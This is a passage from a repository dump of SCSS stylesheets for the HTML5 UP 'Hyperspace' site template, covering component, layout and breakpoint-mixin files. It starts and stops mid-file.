> * {
width: 100%;
}
&:first-child {
padding-top: 0;
}
input[type="submit"],
input[type="reset"],
input[type="button"],
button,
.button {
width: 100%;
&.icon {
&:before {
margin-left: -0.5rem;
}
}
}
}
}
}
}
================================================
FILE: 2020/assets/sass/components/_box.scss
================================================
///
/// Hyperspace by HTML5 UP
/// html5up.net | @ajlkn
/// Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)
///
/* Box */
.box {
border-radius: _size(border-radius);
border: solid _size(border-width) _palette(border);
margin-bottom: _size(element-margin);
padding: 1.5em;
> :last-child,
> :last-child > :last-child,
> :last-child > :last-child > :last-child {
margin-bottom: 0;
}
&.alt {
border: 0;
border-radius: 0;
padding: 0;
}
}
================================================
FILE: 2020/assets/sass/components/_button.scss
================================================
///
/// Hyperspace by HTML5 UP
/// html5up.net | @ajlkn
/// Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)
///
/* Button */
input[type="submit"],
input[type="reset"],
input[type="button"],
button,
.button {
@include vendor('appearance', 'none');
@include vendor('transition', (
'border-color #{_duration(transition)} ease'
));
background-color: transparent;
border: solid 1px !important;
border-color: _palette(border) !important;
border-radius: 3em;
color: _palette(fg-bold) !important;
cursor: pointer;
display: inline-block;
font-size: 0.6em;
font-weight: _font(weight-bold);
height: calc(4.75em + 2px);
letter-spacing: _font(kerning-alt);
line-height: 4.75em;
outline: 0;
padding: 0 3.75em;
position: relative;
text-align: center;
text-decoration: none;
text-transform: uppercase;
white-space: nowrap;
&:after {
@include vendor('transform', 'scale(0.25)');
@include vendor('pointer-events', 'none');
@include vendor('transition', (
'opacity #{_duration(transition)} ease',
'transform #{_duration(transition)} ease'
));
background: _palette(fg-bold);
border-radius: 3em;
content: '';
height: 100%;
left: 0;
opacity: 0;
position: absolute;
top: 0;
width: 100%;
}
&.icon {
&:before {
margin-right: 0.75em;
}
}
&.fit {
width: 100%;
}
&.small {
font-size: 0.4em;
}
&.large {
font-size: 0.8em;
}
&.primary {
background-color: _palette(fg-bold);
color: _palette(bg) !important;
&:after {
display: none;
}
}
&.disabled,
&:disabled {
cursor: default;
opacity: 0.5;
@include vendor('pointer-events', 'none');
}
&:hover {
border-color: _palette(fg) !important;
&:after {
opacity: 0.05;
@include vendor('transform', 'scale(1)');
}
&:active {
border-color: _palette(fg-bold) !important;
&:after {
opacity: 0.1;
}
}
}
}
================================================
FILE: 2020/assets/sass/components/_contact.scss
================================================
///
/// Hyperspace by HTML5 UP
/// html5up.net | @ajlkn
/// Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)
///
/* Contact */
ul.contact {
list-style: none;
padding: 0;
> li {
padding: 0;
margin: 1.5em 0 0 0;
&:first-child {
margin-top: 0;
}
}
}
================================================
FILE: 2020/assets/sass/components/_features.scss
================================================
///
/// Hyperspace by HTML5 UP
/// html5up.net | @ajlkn
/// Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)
///
/* Features */
.features {
@include vendor('display', 'flex');
@include vendor('flex-wrap', 'wrap');
border-radius: _size(border-radius);
border: solid 1px _palette(border);
background: _palette(border-bg);
margin: 0 0 _size(element-margin) 0;
section {
@include padding(3em, 3em, (0.5em, 0, 0, 4em));
width: 50%;
border-top: solid 1px _palette(border);
position: relative;
&:nth-child(-n + 2) {
border-top-width: 0;
}
&:nth-child(2n) {
border-left: solid 1px _palette(border);
}
.icon {
@include vendor('transition', (
'opacity #{_duration(activation) * 0.5} ease',
'transform #{_duration(activation) * 0.5} ease'
));
@include vendor('transition-delay', '1s');
@include vendor('transform', 'scale(1)');
position: absolute;
left: 3em;
top: 3em;
opacity: 1;
}
@for $i from 1 through _misc(max-features) {
&:nth-child(#{$i}) {
.icon {
@include vendor('transition-delay', '#{(_duration(transition) * 0.75 * $i)}');
}
}
}
}
&.inactive {
section {
.icon {
@include vendor('transform', 'scale(0.5)');
opacity: 0;
}
}
}
@include breakpoint('<=medium') {
display: block;
section {
border-top-width: 1px !important;
border-left-width: 0 !important;
width: 100%;
&:first-child {
border-top-width: 0 !important;
}
}
}
@include breakpoint('<=small') {
section {
@include padding(2em, 1.5em, (0.5em, 0, 0, 4em));
.icon {
left: 1.5em;
top: 2em;
}
}
}
@include breakpoint('<=xsmall') {
section {
@include padding(2em, 1.5em, (0, 0, 0, 0));
.icon {
left: 0;
position: relative;
top: 0;
}
}
}
}
================================================
FILE: 2020/assets/sass/components/_form.scss
================================================
///
/// Hyperspace by HTML5 UP
/// html5up.net | @ajlkn
/// Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)
///
/* Form */
form {
margin: 0 0 _size(element-margin) 0;
> :last-child {
margin-bottom: 0;
}
> .fields {
$gutter: (_size(element-margin) * 0.75);
@include vendor('display', 'flex');
@include vendor('flex-wrap', 'wrap');
width: calc(100% + #{$gutter * 2});
margin: ($gutter * -1) 0 _size(element-margin) ($gutter * -1);
> .field {
@include vendor('flex-grow', '0');
@include vendor('flex-shrink', '0');
padding: $gutter 0 0 $gutter;
width: calc(100% - #{$gutter * 1});
&.half {
width: calc(50% - #{$gutter * 0.5});
}
&.third {
width: calc(#{100% / 3} - #{$gutter * (1 / 3)});
}
&.quarter {
width: calc(25% - #{$gutter * 0.25});
}
}
}
@include breakpoint('<=xsmall') {
> .fields {
$gutter: (_size(element-margin) * 0.75);
width: calc(100% + #{$gutter * 2});
margin: ($gutter * -1) 0 _size(element-margin) ($gutter * -1);
> .field {
padding: $gutter 0 0 $gutter;
width: calc(100% - #{$gutter * 1});
&.half {
width: calc(100% - #{$gutter * 1});
}
&.third {
width: calc(100% - #{$gutter * 1});
}
&.quarter {
width: calc(100% - #{$gutter * 1});
}
}
}
}
}
label {
color: _palette(fg-bold);
font-weight: _font(weight-bold);
line-height: 1.5;
margin: 0 0 (_size(element-margin) * 0.35) 0;
display: block;
font-size: 1.1em;
}
input[type="text"],
input[type="password"],
input[type="email"],
input[type="tel"],
select,
textarea {
@include vendor('appearance', 'none');
background: _palette(border-bg);
border-radius: _size(border-radius);
border: none;
border: solid _size(border-width) _palette(border);
color: inherit;
display: block;
outline: 0;
padding: 0 1em;
text-decoration: none;
width: 100%;
&:invalid {
box-shadow: none;
}
&:focus {
border-color: _palette(fg-bold);
box-shadow: 0 0 0 _size(border-width) _palette(fg-bold);
}
}
select {
background-image: svg-url("<svg xmlns='http://www.w3.org/2000/svg' width='40' height='40' preserveAspectRatio='none' viewBox='0 0 40 40'><path d='M9.4,12.3l10.4,10.4l10.4-10.4c0.2-0.2,0.5-0.4,0.9-0.4c0.3,0,0.6,0.1,0.9,0.4l3.3,3.3c0.2,0.2,0.4,0.5,0.4,0.9 c0,0.4-0.1,0.6-0.4,0.9L20.7,31.9c-0.2,0.2-0.5,0.4-0.9,0.4c-0.3,0-0.6-0.1-0.9-0.4L4.3,17.3c-0.2-0.2-0.4-0.5-0.4-0.9 c0-0.4,0.1-0.6,0.4-0.9l3.3-3.3c0.2-0.2,0.5-0.4,0.9-0.4S9.1,12.1,9.4,12.3z' fill='#{_palette(border)}' /></svg>");
background-size: 1.25rem;
background-repeat: no-repeat;
background-position: calc(100% - 1rem) center;
height: _size(element-height);
padding-right: _size(element-height);
text-overflow: ellipsis;
option {
color: _palette(fg-bold);
background: _palette(bg);
}
&:focus {
&::-ms-value {
background-color: transparent;
}
}
&::-ms-expand {
display: none;
}
}
input[type="text"],
input[type="password"],
input[type="email"],
select {
height: _size(element-height);
}
textarea {
padding: 0.75em 1em;
body.is-ie & {
min-height: 10em;
}
}
input[type="checkbox"],
input[type="radio"], {
@include vendor('appearance', 'none');
display: block;
float: left;
margin-right: -2em;
opacity: 0;
width: 1em;
z-index: -1;
& + label {
@include icon(false, solid);
color: _palette(fg);
cursor: pointer;
display: inline-block;
font-size: 1em;
font-weight: _font(weight);
padding-left: (_size(element-height) * 0.6) + 0.75em;
padding-right: 0.75em;
position: relative;
&:before {
background: _palette(border-bg);
border-radius: _size(border-radius);
border: solid _size(border-width) _palette(border);
content: '';
display: inline-block;
font-size: 0.8em;
height: (_size(element-height) * 0.75);
left: 0;
line-height: (_size(element-height) * 0.75);
position: absolute;
text-align: center;
top: 0;
width: (_size(element-height) * 0.75);
}
}
&:checked + label {
&:before {
background: _palette(fg-bold);
border-color: _palette(fg-bold);
color: _palette(accent3);
content: '\f00c';
}
}
&:focus + label {
&:before {
border-color: _palette(fg-bold);
box-shadow: 0 0 0 _size(border-width) _palette(fg-bold);
}
}
}
input[type="checkbox"] {
& + label {
&:before {
border-radius: _size(border-radius);
}
}
}
input[type="radio"] {
& + label {
&:before {
border-radius: 100%;
}
}
}
::-webkit-input-placeholder {
color: _palette(fg-light) !important;
opacity: 1.0;
}
:-moz-placeholder {
color: _palette(fg-light) !important;
opacity: 1.0;
}
::-moz-placeholder {
color: _palette(fg-light) !important;
opacity: 1.0;
}
:-ms-input-placeholder {
color: _palette(fg-light) !important;
opacity: 1.0;
}
================================================
FILE: 2020/assets/sass/components/_icon.scss
================================================
///
/// Hyperspace by HTML5 UP
/// html5up.net | @ajlkn
/// Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)
///
/* Icon */
.icon {
@include icon;
border-bottom: none;
position: relative;
> .label {
display: none;
}
&:before {
line-height: inherit;
}
&.solid {
&:before {
font-weight: 900;
}
}
&.brands {
&:before {
font-family: 'Font Awesome 5 Brands';
}
}
&.major {
width: 2.5em;
height: 2.5em;
display: block;
background: _palette(fg-bold);
border-radius: 100%;
color: _palette(bg);
text-align: center;
line-height: 2.5em;
margin: 0 0 (_size(element-margin) * 0.65) 0;
&:before {
font-size: 1.25em;
.wrapper.style1 & {
color: _palette(accent1);
}
.wrapper.style1-alt & {
color: _palette(accent1-alt);
}
.wrapper.style2 & {
color: _palette(accent2);
}
.wrapper.style2-alt & {
color: _palette(accent2-alt);
}
.wrapper.style3 & {
color: _palette(accent3);
}
.wrapper.style3-alt & {
color: _palette(accent3-alt);
}
}
}
}
================================================
FILE: 2020/assets/sass/components/_icons.scss
================================================
///
/// Hyperspace by HTML5 UP
/// html5up.net | @ajlkn
/// Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)
///
/* Icons */
ul.icons {
cursor: default;
list-style: none;
padding-left: 0;
li {
display: inline-block;
padding: 0 0.75em 0 0;
&:last-child {
padding-right: 0;
}
> a, > span {
border: 0;
.label {
display: none;
}
}
}
}
================================================
FILE: 2020/assets/sass/components/_image.scss
================================================
///
/// Hyperspace by HTML5 UP
/// html5up.net | @ajlkn
/// Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)
///
/* Image */
.image {
border-radius: _size(border-radius);
border: 0;
display: inline-block;
position: relative;
img {
border-radius: _size(border-radius);
display: block;
}
&.left,
&.right {
max-width: 40%;
img {
width: 100%;
}
}
&.left {
float: left;
margin: 0 1.5em 1em 0;
top: 0.25em;
}
&.right {
float: right;
margin: 0 0 1em 1.5em;
top: 0.25em;
}
&.fit {
display: block;
margin: 0 0 _size(element-margin) 0;
width: 100%;
img {
width: 100%;
}
}
&.main {
display: block;
margin: 0 0 (_size(element-margin) * 1.5) 0;
width: 100%;
img {
width: 100%;
}
}
}
================================================
FILE: 2020/assets/sass/components/_list.scss
================================================
///
/// Hyperspace by HTML5 UP
/// html5up.net | @ajlkn
/// Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)
///
/* List */
ol {
list-style: decimal;
margin: 0 0 _size(element-margin) 0;
padding-left: 1.25em;
li {
padding-left: 0.25em;
}
}
ul {
list-style: disc;
margin: 0 0 _size(element-margin) 0;
padding-left: 1em;
li {
padding-left: 0.5em;
}
&.alt {
list-style: none;
padding-left: 0;
li {
border-top: solid _size(border-width) _palette(border);
padding: 0.5em 0;
&:first-child {
border-top: 0;
padding-top: 0;
}
}
}
}
dl {
margin: 0 0 _size(element-margin) 0;
dt {
display: block;
font-weight: _font(weight-bold);
margin: 0 0 (_size(element-margin) * 0.5) 0;
}
dd {
margin-left: _size(element-margin);
}
}
================================================
FILE: 2020/assets/sass/components/_menu.scss
================================================
///
/// Hyperspace by HTML5 UP
/// html5up.net | @ajlkn
/// Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)
///
/* Menu */
ul.menu {
list-style: none;
padding: 0;
> li {
border-left: solid 1px _palette(border);
display: inline-block;
line-height: 1;
margin-left: 1.5em;
padding: 0 0 0 1.5em;
&:first-child {
border-left: 0;
margin: 0;
padding-left: 0;
}
}
@include breakpoint('<=xsmall') {
> li {
border-left: 0;
display: block;
line-height: inherit;
margin: 0.5em 0 0 0;
padding-left: 0;
}
}
}
================================================
FILE: 2020/assets/sass/components/_row.scss
================================================
///
/// Hyperspace by HTML5 UP
/// html5up.net | @ajlkn
/// Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)
///
/* Row */
.row {
@include html-grid(1.5em);
@include breakpoint('<=xlarge') {
@include html-grid(1.5em, 'xlarge');
}
@include breakpoint('<=large') {
@include html-grid(1.5em, 'large');
}
@include breakpoint('<=medium') {
@include html-grid(1.5em, 'medium');
}
@include breakpoint('<=small') {
@include html-grid(1.5em, 'small');
}
@include breakpoint('<=xsmall') {
@include html-grid(1.5em, 'xsmall');
}
}
================================================
FILE: 2020/assets/sass/components/_section.scss
================================================
///
/// Hyperspace by HTML5 UP
/// html5up.net | @ajlkn
/// Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)
///
/* Section/Article */
section, article {
&.special {
text-align: center;
}
}
header {
p {
color: _palette(fg-light);
position: relative;
margin: 0 0 (_size(element-margin) * 0.75) 0;
}
h2 + p {
font-size: 1.25em;
margin-top: (_size(element-margin) * -0.5);
line-height: 1.5em;
}
h3 + p {
font-size: 1.1em;
margin-top: (_size(element-margin) * -0.4);
line-height: 1.5em;
}
h4 + p,
h5 + p,
h6 + p {
font-size: 0.9em;
margin-top: (_size(element-margin) * -0.3);
line-height: 1.5em;
}
}
================================================
FILE: 2020/assets/sass/components/_split.scss
================================================
///
/// Hyperspace by HTML5 UP
/// html5up.net | @ajlkn
/// Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)
///
/* Split */
.split {
@include vendor('display', 'flex');
> * {
width: calc(50% - 2.5em);
}
> :nth-child(2n - 1) {
padding-right: 2.5em;
border-right: solid 1px _palette(border);
}
> :nth-child(2n) {
padding-left: 2.5em;
}
&.style1 {
> :nth-child(2n - 1) {
width: calc(66.66666% - 2.5em);
}
> :nth-child(2n) {
width: calc(33.33333% - 2.5em);
}
}
@include breakpoint('<=xlarge') {
> * {
width: calc(50% - 2em);
}
> :nth-child(2n - 1) {
padding-right: 2em;
}
> :nth-child(2n) {
padding-left: 2em;
}
&.style1 {
> :nth-child(2n - 1) {
width: calc(66.66666% - 2em);
}
> :nth-child(2n) {
width: calc(33.33333% - 2em);
}
}
}
@include breakpoint('<=medium') {
display: block;
> * {
border-top: solid 1px _palette(border);
margin: 4em 0 0 0;
padding: 4em 0 0 0;
width: 100% !important;
}
> :nth-child(2n - 1) {
border-right: 0;
padding-right: 0;
}
> :nth-child(2n) {
padding-left: 0;
}
> :first-child {
border-top: 0;
margin-top: 0;
padding-top: 0;
}
}
@include breakpoint('<=small') {
> * {
margin: 3em 0 0 0;
padding: 3em 0 0 0;
}
}
}
================================================
FILE: 2020/assets/sass/components/_spotlights.scss
================================================
///
/// Hyperspace by HTML5 UP
/// html5up.net | @ajlkn
/// Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)
///
/* Spotlights */
.spotlights {
> section {
@include vendor('display', 'flex');
@include vendor('flex-direction', 'row');
min-height: 22.5em;
body.is-ie & {
min-height: 0;
}
> .image {
background-position: center center;
background-size: cover;
border-radius: 0;
display: block;
position: relative;
width: 25em;
img {
border-radius: 0;
display: block;
}
&:before {
@include vendor('transition', 'opacity #{_duration(activation)} ease');
background: transparentize(_palette(bg), 0.1);
content: '';
display: block;
height: 100%;
left: 0;
opacity: 0;
position: absolute;
top: 0;
width: 100%;
}
}
> .content {
@include padding(4em, 5em);
@include vendor('display', 'flex');
@include vendor('flex-direction', 'column');
@include vendor('justify-content', 'center');
width: #{_size(inner-width) - 25em};
-ms-flex: 1;
> .inner {
@include vendor('transform', 'translateX(0) translateY(0)');
@include vendor('transition', (
'opacity #{_duration(activation)} ease',
'transform #{_duration(activation)} ease'
));
opacity: 1;
}
}
&:nth-child(1) {
}
&:nth-child(2) {
background-color: rgba(0,0,0,0.05);
}
&:nth-child(3) {
background-color: rgba(0,0,0,0.1);
}
&.inactive,
body.is-preload & {
> .image {
&:before {
opacity: 1;
}
}
> .content {
> .inner {
@include vendor('transform', 'translateX(-1em)');
opacity: 0;
}
}
}
@include breakpoint('<=xlarge') {
> .content {
@include padding(4em, 4em);
}
}
@include breakpoint('<=medium') {
display: block;
> .image {
width: 100%;
height: 50vh;
}
> .content {
width: 100%;
}
&.inactive,
body.is-preload & {
> .content {
> .inner {
@include vendor('transform', 'translateY(1em)');
}
}
}
}
@include breakpoint('<=small') {
> .image {
height: 50vh;
min-height: 15em;
}
> .content {
@include padding(3em, 2em);
}
}
}
}
================================================
FILE: 2020/assets/sass/components/_table.scss
================================================
///
/// Hyperspace by HTML5 UP
/// html5up.net | @ajlkn
/// Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)
///
/* Table */
.table-wrapper {
-webkit-overflow-scrolling: touch;
overflow-x: auto;
}
table {
margin: 0 0 _size(element-margin) 0;
width: 100%;
tbody {
tr {
border: solid _size(border-width) _palette(border);
border-left: 0;
border-right: 0;
&:nth-child(2n + 1) {
background-color: _palette(border-bg);
}
}
}
td {
padding: 0.75em 0.75em;
}
th {
color: _palette(fg-bold);
font-size: 1em;
font-weight: _font(weight-bold);
padding: 0 0.75em 0.75em 0.75em;
text-align: left;
}
thead {
border-bottom: solid (_size(border-width) * 2) _palette(border);
}
tfoot {
border-top: solid (_size(border-width) * 2) _palette(border);
}
&.alt {
border-collapse: separate;
tbody {
tr {
td {
border: solid _size(border-width) _palette(border);
border-left-width: 0;
border-top-width: 0;
&:first-child {
border-left-width: _size(border-width);
}
}
&:first-child {
td {
border-top-width: _size(border-width);
}
}
}
}
thead {
border-bottom: 0;
}
tfoot {
border-top: 0;
}
}
}
================================================
FILE: 2020/assets/sass/components/_wrapper.scss
================================================
///
/// Hyperspace by HTML5 UP
/// html5up.net | @ajlkn
/// Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)
///
/* Wrapper */
.wrapper {
position: relative;
> .inner {
@include padding(5em, 5em);
max-width: 100%;
width: _size(inner-width);
@include breakpoint('<=xlarge') {
@include padding(4em, 4em);
}
@include breakpoint('<=large') {
width: 100%;
}
@include breakpoint('<=small') {
@include padding(3em, 2em);
}
}
&.alt {
background-color: _palette(bg-alt);
}
&.style1 {
background-color: _palette(accent1);
}
&.style1-alt {
background-color: _palette(accent1-alt);
}
&.style2 {
background-color: _palette(accent2);
}
&.style2-alt {
background-color: _palette(accent2-alt);
}
&.style3 {
background-color: _palette(accent3);
}
&.style3-alt {
background-color: _palette(accent3-alt);
}
&.fullscreen {
@include vendor('display', 'flex');
@include vendor('flex-direction', 'column');
@include vendor('justify-content', 'center');
min-height: 100vh;
body.is-ie & {
height: 100vh;
}
@include breakpoint('<=large') {
min-height: calc(100vh - 2.5em);
body.is-ie & {
height: calc(100vh - 2.5em);
}
}
@include breakpoint('<=small') {
padding: 2em 0;
min-height: 0;
body.is-ie & {
height: auto;
}
}
}
&.fade-up {
> .inner {
@include vendor('transform', 'translateY(0)');
@include vendor('transition', (
'opacity #{_duration(activation)} ease',
'transform #{_duration(activation)} ease'
));
opacity: 1.0;
}
&.inactive,
body.is-preload & {
> .inner {
opacity: 0;
@include vendor('transform', 'translateY(1em)');
}
}
}
&.fade-down {
> .inner {
@include vendor('transform', 'translateY(0)');
@include vendor('transition', (
'opacity #{_duration(activation)} ease',
'transform #{_duration(activation)} ease'
));
opacity: 1.0;
}
&.inactive,
body.is-preload & {
> .inner {
opacity: 0;
@include vendor('transform', 'translateY(-1em)');
}
}
}
&.fade {
> .inner {
@include vendor('transition', (
'opacity #{_duration(activation)} ease'
));
opacity: 1.0;
}
&.inactive,
body.is-preload & {
> .inner {
opacity: 0;
}
}
}
}
================================================
FILE: 2020/assets/sass/layout/_footer.scss
================================================
///
/// Hyperspace by HTML5 UP
/// html5up.net | @ajlkn
/// Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)
///
/* Footer */
#footer {
#sidebar + #wrapper + & {
margin-left: _size(sidebar-width);
@include breakpoint('<=large') {
margin-left: 0;
}
}
> .inner {
a {
border-bottom-color: _palette(border);
&:hover {
border-bottom-color: transparent;
}
}
.menu {
font-size: 0.8em;
color: _palette(border);
}
}
#header + #wrapper + & {
> .inner {
margin: 0 auto;
}
}
}
================================================
FILE: 2020/assets/sass/layout/_header.scss
================================================
///
/// Hyperspace by HTML5 UP
/// html5up.net | @ajlkn
/// Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)
///
/* Header */
#header {
@include vendor('display', 'flex');
background-color: _palette(accent1);
cursor: default;
padding: 1.75em 2em;
> .title {
border: 0;
color: _palette(fg-bold);
display: block;
font-size: 1.25em;
font-weight: _font(weight-bold);
}
> nav {
@include vendor('flex', '1');
text-align: right;
> ul {
margin: 0;
padding: 0;
> li {
display: inline-block;
margin-left: 1.75em;
padding: 0;
vertical-align: middle;
&:first-child {
margin-left: 0;
}
a {
border: 0;
color: _palette(fg-light);
display: inline-block;
font-size: 0.6em;
font-weight: _font(weight-bold);
letter-spacing: _font(kerning-alt);
text-transform: uppercase;
&:hover {
color: _palette(fg);
}
&.active {
color: _palette(fg-bold);
}
}
}
}
}
@include breakpoint('<=small') {
padding: 1em 2em;
}
@include breakpoint('<=xsmall') {
display: block;
padding: 0 2em;
text-align: left;
.title {
font-size: 1.25em;
padding: 1em 0;
}
> nav {
border-top: solid 1px _palette(border);
text-align: inherit;
> ul {
> li {
margin-left: 1.5em;
a {
height: 6em;
line-height: 6em;
}
}
}
}
}
}
================================================
FILE: 2020/assets/sass/layout/_intro.scss
================================================
///
/// Hyperspace by HTML5 UP
/// html5up.net | @ajlkn
/// Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)
///
/* Intro */
#intro {
background-attachment: fixed;
background-image: url('images/intro.svg');
background-position: top right;
background-repeat: no-repeat;
background-size: 100% 100%;
p {
font-size: 1.25em;
@include breakpoint('<=medium') {
br {
display: none;
}
}
@include breakpoint('<=small') {
font-size: 1em;
}
}
@include breakpoint('<=large') {
background-attachment: scroll;
}
}
================================================
FILE: 2020/assets/sass/layout/_sidebar.scss
================================================
///
/// Hyperspace by HTML5 UP
/// html5up.net | @ajlkn
/// Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)
///
/* Sidebar */
#sidebar {
@include padding(2.5em, 2.5em);
background: _palette(bg);
cursor: default;
height: 100vh;
left: 0;
overflow-x: hidden;
overflow-y: auto;
position: fixed;
text-align: right;
top: 0;
width: _size(sidebar-width);
z-index: _misc(z-index-base);
> .inner {
@include vendor('display', 'flex');
@include vendor('flex-direction', 'column');
@include vendor('justify-content', 'center');
@include vendor('transform', 'translateY(0)');
@include vendor('transition', (
'opacity #{_duration(activation)} ease',
));
min-height: 100%;
opacity: 1;
width: 100%;
body.is-ie & {
height: 100%;
}
}
nav {
> ul {
list-style: none;
padding: 0;
> li {
@include vendor('transform', 'translateY(0)');
@include vendor('transition', (
'opacity #{_duration(activation) * 0.15} ease',
'transform #{_duration(activation) * 0.75} ease'
));
margin: 1.5em 0 0 0;
opacity: 1;
padding: 0;
position: relative;
&:first-child {
margin: 0;
}
@for $i from 1 through _misc(max-sidebar-links) {
&:nth-child(#{$i}) {
@include vendor('transition-delay', '#{(_duration(activation) * 0.2 * $i) + (_duration(activation) * 0.25)}');
}
}
}
}
a {
@include vendor('transition', 'color #{_duration(transition)} ease');
border: 0;
color: _palette(fg-light);
display: block;
font-size: 0.6em;
font-weight: _font(weight-bold);
letter-spacing: _font(kerning-alt);
line-height: 1.75;
outline: 0;
padding: 1.35em 0;
position: relative;
text-decoration: none;
text-transform: uppercase;
&:before,
&:after {
border-radius: 0.2em;
bottom: 0;
content: '';
height: 0.2em;
position: absolute;
right: 0;
width: 100%;
}
&:before {
background: lighten(_palette(bg), 5);
}
&:after {
@include vendor('background-image', 'linear-gradient(to right, #{_palette(accent1)}, #{_palette(accent3)})');
@include vendor('transition', 'max-width #{_duration(transition)} ease');
max-width: 0;
}
&:hover {
color: _palette(fg);
}
&.active {
color: _palette(fg-bold);
&:after {
max-width: 100%;
}
}
}
}
body.is-preload & {
> .inner {
opacity: 0;
}
nav {
ul {
li {
@include vendor('transform', 'translateY(2em)');
opacity: 0;
}
}
}
}
@include breakpoint('<=large') {
height: _size(sidebar-height);
left: 0;
line-height: _size(sidebar-height);
overflow: hidden;
padding: 0;
text-align: center;
top: 0;
width: 100%;
> .inner {
@include vendor('flex-direction', 'row');
@include vendor('align-items', 'stretch');
height: inherit;
line-height: inherit;
}
nav {
height: inherit;
line-height: inherit;
ul {
@include vendor('display', 'flex');
height: inherit;
line-height: inherit;
margin: 0;
li {
display: block;
height: inherit;
line-height: inherit;
margin: 0 0 0 2em;
padding: 0;
}
}
a {
height: inherit;
line-height: inherit;
padding: 0;
&:after {
background-image: none;
background-color: _palette(accent3);
}
}
}
}
@include breakpoint('<=small') {
display: none;
}
}
================================================
FILE: 2020/assets/sass/layout/_wrapper.scss
================================================
///
/// Hyperspace by HTML5 UP
/// html5up.net | @ajlkn
/// Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)
///
/* Wrapper (main) */
#wrapper {
#sidebar + & {
margin-left: _size(sidebar-width);
@include breakpoint('<=large') {
margin-left: 0;
padding-top: _size(sidebar-height);
}
@include breakpoint('<=small') {
padding-top: 0;
}
}
#header + & {
> .wrapper {
> .inner {
margin: 0 auto;
}
}
}
}
================================================
FILE: 2020/assets/sass/libs/_breakpoints.scss
================================================
// breakpoints.scss v1.0 | @ajlkn | MIT licensed */
// Vars.
/// Breakpoints.
/// @var {list}
$breakpoints: () !global;
// Mixins.
/// Sets breakpoints.
/// @param {map} $x Breakpoints.
@mixin breakpoints($x: ()) {
$breakpoints: $x !global;
}
/// Wraps @content in a @media block targeting a specific orientation.
/// @param {string} $orientation Orientation.
@mixin orientation($orientation) {
@media screen and (orientation: #{$orientation}) {
@content;
}
}
/// Wraps @content in a @media block using a given query.
/// @param {string} $query Query.
@mixin breakpoint($query: null) {
$breakpoint: null;
$op: null;
$media: null;
// Determine operator, breakpoint.
// Greater than or equal.
@if (str-slice($query, 0, 2) == '>=') {
$op: 'gte';
$breakpoint: str-slice($query, 3);
}
// Less than or equal.
@elseif (str-slice($query, 0, 2) == '<=') {
$op: 'lte';
$breakpoint: str-slice($query, 3);
}
// Greater than.
@elseif (str-slice($query, 0, 1) == '>') {
$op: 'gt';
$breakpoint: str-slice($query, 2);
}
// Less than.
@elseif (str-slice($query, 0, 1) == '<') {
$op: 'lt';
$breakpoint: str-slice($query, 2);
}
// Not.
@elseif (str-slice($query, 0, 1) == '!') {
$op: 'not';
$breakpoint: str-slice($query, 2);
}
// Equal.
@else {
$op: 'eq';
$breakpoint: $query;
}
// Build media.
@if ($breakpoint and map-has-key($breakpoints, $breakpoint)) {
$a: map-get($breakpoints, $breakpoint);
// Range.
@if (type-of($a) == 'list') {
$x: nth($a, 1);
$y: nth($a, 2);
// Max only.
@if ($x == null) {
// Greater than or equal (>= 0 / anything)
@if ($op == 'gte') {
$media: 'screen';
}
// Less than or equal (<= y)
@elseif ($op == 'lte') {
$media: 'screen and (max-width: ' + $y + ')';
}
// Greater than (> y)
@elseif ($op == 'gt') {
$media: 'screen and (min-width: ' + ($y + 1) + ')';
}
// Less than (< 0 / invalid)
@elseif ($op == 'lt') {
$media: 'screen and (max-width: -1px)';
}
// Not (> y)
@elseif ($op == 'not') {
$media: 'screen and (min-width: ' + ($y + 1) + ')';
}
// Equal (<= y)
@else {
$media: 'screen and (max-width: ' + $y + ')';
}
}
// Min only.
@else if ($y == null) {
// Greater than or equal (>= x)
@if ($op == 'gte') {
$media: 'screen and (min-width: ' + $x + ')';
}
// Less than or equal (<= inf / anything)
@elseif ($op == 'lte') {
$media: 'screen';
}
// Greater than (> inf / invalid)
@elseif ($op == 'gt') {
$media: 'screen and (max-width: -1px)';
}
// Less than (< x)
@elseif ($op == 'lt') {
$media: 'screen and (max-width: ' + ($x - 1) + ')';
}
// Not (< x)
@elseif ($op == 'not') {
$media: 'screen and (max-width: ' + ($x - 1) + ')';
}
// Equal (>= x)
@else {
$media: 'screen and (min-width: ' + $x + ')';
}
}
// Min and max.
@else {
// Greater than or equal (>= x)
@if ($op == 'gte') {
$media: 'screen and (min-width: ' + $x + ')';
}
// Less than or equal (<= y)
@elseif ($op == 'lte') {
$media: 'screen and (max-width: ' + $y + ')';
}
// Greater than (> y)
@elseif ($op == 'gt') {
$media: 'screen and (min-width: ' + ($y + 1) + ')';
}
// Less than (< x)
@elseif ($op == 'lt') {
$media: 'screen and (max-width: ' + ($x - 1) + ')';
}
// Not (< x and > y)
@elseif ($op == 'not') {
$media: 'screen and (max-width: ' + ($x - 1) + '), screen and (min-width: ' + ($y + 1) + ')';
}
// Equal (>= x and <= y)
@else {
$media: 'screen and (min-width: ' + $x + ') and (max-width: ' + $y + ')';
}
}
}
// String.
@else {
// Missing a media type? Prefix with "screen".
@if (str-slice($a, 0, 1) == '(') {
$media: 'screen and ' + $a;
}
// Otherwise, use as-is.
@else {
$media: $a;
}
}
}
// Output.
@media #{$media} {
@content;
}
}
================================================
FILE: 2020/assets/sass/libs/_functions.scss
================================================
/// Removes a specific item from a list.
/// @author Hugo Giraudel
/// @param {list} $list List.
/// @param {integer} $index Index.
/// @return {list} Updated list.
@function remove-nth($list, $index) {
$result: null;
@if type-of($index) != number {
